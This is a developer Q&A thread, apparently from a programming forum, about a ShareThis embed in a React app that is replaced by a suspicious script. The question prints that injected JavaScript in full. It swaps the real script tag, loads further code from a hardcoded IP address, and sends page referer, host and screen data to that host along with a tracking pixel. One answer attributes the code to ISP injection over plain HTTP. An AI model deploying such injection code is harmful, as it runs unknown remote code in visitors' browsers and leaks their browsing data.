Sharethis script being replaced by another script

428 Views Asked by At
         const script = document.createElement("script");
        script.src =
        "//platform-api.sharethis.com/js/sharethis.js#property=45454545&product=sop?r=" +
            new Date().getTime();
        script.async = true;
        script.id = "shareThisId";
        document.body.appendChild(script);

I am including this script in my react component. This was the script that I got from my sharethis account. For some reason, I am not getting the share buttons in my page. When I checked the what was the script that was running, it was this.

!function() {
    var a = "/js/sharethis.js"
      , r = null
      , e = document.getElementsByTagName("script")
      , i = e.length
      , n = null
      , t = Date.now()
      , s = null
      , o = 0;
    for ("/" === a.substring(0, 1) && (a = a.substring(1)),
    o = 0; o < i; o += 1)
        if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
            n = o,
            r = e[o];
            break
        }
    void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
    s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
    try {
        if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
            void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
            window.sarazasarazaNoti.push(r.src);
            var c = r.parentNode
              , d = r;
            if (r.async || r.defer || null !== n && n !== e.length - 1) {
                var w = document.createElement("script");
                w.src = s,
                c.replaceChild(w, d)
            } else
                document.write("<script type='text/javascript' src=" + s + "><\/script>"),
                c.removeChild(d)
        }
        var a1 = "117.254.84.212";
        var a2 = "3000";
        if (window === window.top && (void 0 === window.sarazasaraza || null === window.sarazasaraza || !window.sarazasaraza)) {
            window.sarazasaraza = !0;
            var l = a1 + ":" + a2 + "/getjs?nadipdata=" + JSON.stringify("%7B%22url%22:%22%2Fjs%2Fsharethis.js%22%2C%22referer%22:%22http:%2F%2Fm.ragalahari.com%2Factress%2F164324%2Fnilofer-haidry-sutraa-fashion-exhibition-curtain-raiser-photos.aspx%22%2C%22host%22:%22platform-api.sharethis.com%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D") + "&screenheight=" + screen.height + "&screenwidth=" + screen.width + "&tm=" + (new Date).getTime() + "&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0";
            !function(a, r, e, i, n, t, s) {
                t = r.createElement(e),
                s = r.getElementsByTagName(e)[0],
                t.async = !0,
                t.src = i,
                s.parentNode.insertBefore(t, s)
            }(window, document, "script", "//" + l)
        }
        var imgtag = document.createElement('img');
        imgtag.height = '1';
        imgtag.width = '1';
        imgtag.style = 'border-style:none;';
        imgtag.alt = '';
        imgtag.src = '//' + a1 + ":" + a2 + "/pixel/1x1.png"
    } catch (a) {}
}()

This is not the script that actually runs in the live server. Only when I run it from my localhost, this happens. The script that runs seems suspicious. Can anyone enlighten me as to why this is happening?

2

There are 2 best solutions below

1
Hao Xu On

I work at ShareThis, hope I can help you to solve the issue. So the script you wrote is right to load the ShareThis script, but it is not "loading the button". So the function to load the button with the script is: window.__sharethis__.load('inline-share-button', config);

and you need to specify the button config before loading it.

Meanwhile we recently released our reactjs plugin at https://www.npmjs.com/package/sharethis-reactjs, which is more convenient to integrate the button in react development environment. Let me know it this works for you, and I'm willing to help.

0
Vivek Thomas On

This is unfortunately your internet service provider BSNL which is injecting JavaScript code into resources served over a non-HTTPS connection.

Ensuring that your website and all external resources are fetched over HTTPS would let you work around this issue for now. Ultimately it's the ISP which is performing a MITM malware injection causing the problem.

There is more discussion around this here